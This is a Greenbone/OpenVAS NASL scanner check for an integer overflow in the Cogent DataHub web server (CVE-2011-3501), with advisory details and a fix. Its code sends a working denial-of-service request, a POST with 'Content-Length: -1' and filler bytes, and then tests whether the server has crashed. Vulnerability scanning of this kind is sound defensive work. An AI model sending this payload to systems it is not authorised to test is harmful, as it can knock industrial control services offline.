Cogent DataHub Integer Overflow Vulnerability

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802247");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2011-09-22 10:24:03 +0200 (Thu, 22 Sep 2011)");
  script_cve_id("CVE-2011-3501");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_name("Cogent DataHub Integer Overflow Vulnerability");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Denial of Service");
  script_require_ports("Services/www", 80);
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_xref(name:"URL", value:"http://secunia.com/advisories/45967");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/49611");
  script_xref(name:"URL", value:"http://aluigi.altervista.org/adv/cogent_3-adv.txt");
  script_xref(name:"URL", value:"http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-256-03.pdf");

  script_tag(name:"impact", value:"Successful exploitation may allow remote attackers to allows
  remote attackers to cause a denial of service.");
  script_tag(name:"affected", value:"Cogent DataHub 7.1.1.63 and prior.");
  script_tag(name:"insight", value:"The flaw is due to an integer overflow error in the webserver
  when handling the HTTP 'Content-Length' header can be exploited by sending
  specially crafted HTTP requests.");
  script_tag(name:"solution", value:"Upgrade to Cogent DataHub version 7.1.2 or later.");
  script_tag(name:"summary", value:"Cogent DataHub is prone to an integer overflow vulnerability.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  script_xref(name:"URL", value:"http://www.cogentdatahub.com/Products/Cogent_DataHub.html");
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");

port = http_get_port( default:80 );

res = http_get_cache( item:"/index.asp",  port:port );
res2 = http_get_cache( item:"/demo.asp",  port:port );

if( "<title>DataHub Web Server</title>" >!< res && "<title>DataHub Web Server</title>" >!< res2 ) exit( 0 );

host = http_host_name( port:port );

attack = string( "POST / HTTP/1.1\r\n",
                 "Host: ", host, "\r\n",
                 "Content-Length: -1\r\n\r\n",
                 crap( 4079 ) );
## Send Attack
res = http_send_recv( port:port, data:attack );

req = http_get( item:"/", port:port );
res = http_send_recv( port:port, data:req );
if( ! res ) {
  if( http_is_dead( port:port ) ) {
    security_message( port:port );
    exit( 0 );
  }
}

exit( 99 );